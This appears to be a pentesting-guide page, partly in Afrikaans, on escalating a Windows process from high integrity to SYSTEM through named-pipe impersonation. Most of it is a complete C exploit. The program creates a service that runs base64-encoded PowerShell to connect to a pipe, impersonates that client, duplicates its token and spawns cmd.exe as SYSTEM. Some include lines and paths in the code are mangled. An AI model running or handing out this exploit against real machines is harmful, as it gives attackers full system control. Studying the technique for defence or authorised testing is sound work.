From High Integrity to SYSTEM with Name Pipes
Kodevloei:
Skep 'n nuwe Pyp
Skep en begin 'n diens wat sal verbind met die geskepte pyp en iets sal skryf. Die dienskode sal hierdie gekodeerde PS-kode uitvoer:
$pipe = new-object System.IO.Pipes.NamedPipeClientStream("piper"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.WriteLine("Go"); $sw.Dispose();Die diens ontvang die data van die kliënt in die pyp, roep ImpersonateNamedPipeClient aan en wag vir die diens om klaar te maak
Uiteindelik gebruik dit die token wat van die diens verkry is om 'n nuwe cmd.exe te spawn
As jy nie genoeg bevoegdhede het nie, kan die uitbuiting vassteek en nooit terugkeer nie.
```c #include #include
#pragma comment (lib, "advapi32") #pragma comment (lib, "kernel32")
#define PIPESRV "PiperSrv" #define MESSAGE_SIZE 512
int ServiceGo(void) {
SC_HANDLE scManager; SC_HANDLE scService;
scManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
if (scManager == NULL) { return FALSE; }
// create Piper service scService = CreateServiceA(scManager, PIPESRV, PIPESRV, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, "C:\Windows\\System32\cmd.exe /rpowershell.exe -EncodedCommand JABwAGkAcABlACAAPQAgAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAFAAaQBwAGUAcwAuAE4AYQBtAGUAZABQAGkAcABlAEMAbABpAGUAbgB0AFMAdAByAGUAYQBtACgAIgBwAGkAcABlAHIAIgApADsAIAAkAHAAaQBwAGUALgBDAG8AbgBuAGUAYwB0ACgAKQA7ACAAJABzAHcAIAA9ACAAbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHAAaQBwAGUAKQA7ACAAJABzAHcALgBXAHIAaQB0AGUATABpAG4AZQAoACIARwBvACIAKQA7ACAAJABzAHcALgBEAGkAcwBwAG8AcwBlACgAKQA7AA==", NULL, NULL, NULL, NULL, NULL);
if (scService == NULL) { //printf("[!] CreateServiceA() failed: [%d]\n", GetLastError()); return FALSE; }
// launch it StartService(scService, 0, NULL);
// wait a bit and then cleanup Sleep(10000); DeleteService(scService);
CloseServiceHandle(scService); CloseServiceHandle(scManager); }
int main() {
LPCSTR sPipeName = "\\.\pipe\piper"; HANDLE hSrvPipe; HANDLE th; BOOL bPipeConn; char pPipeBuf[MESSAGE_SIZE]; DWORD dBRead = 0;
HANDLE hImpToken; HANDLE hNewToken; STARTUPINFOA si; PROCESS_INFORMATION pi;
// open pipe hSrvPipe = CreateNamedPipeA(sPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, 0, NULL);
// create and run service th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ServiceGo, NULL, 0, 0);
// wait for the connection from the service bPipeConn = ConnectNamedPipe(hSrvPipe, NULL); if (bPipeConn) { ReadFile(hSrvPipe, &pPipeBuf, MESSAGE_SIZE, &dBRead, NULL);
// impersonate the service (SYSTEM) if (ImpersonateNamedPipeClient(hSrvPipe) == 0) { return -1; }
// wait for the service to cleanup WaitForSingleObject(th, INFINITE);
// get a handle to impersonated token if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hImpToken)) { return -2; }
// create new primary token for new process if (!DuplicateTokenEx(hImpToken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hNewToken)) { return -4; }
//Sleep(20000); // spawn cmd.exe as full SYSTEM user ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); if (!CreateProcessWithTokenW(hNewToken, LOGON_NETCREDENTIALS_ONLY, L"cmd.exe", NULL, NULL, NULL, NULL, (LPSTARTUPINFOW)&si, &pi)) { return -5; }
// revert back to original security context RevertToSelf();
}
return 0; }
Last updated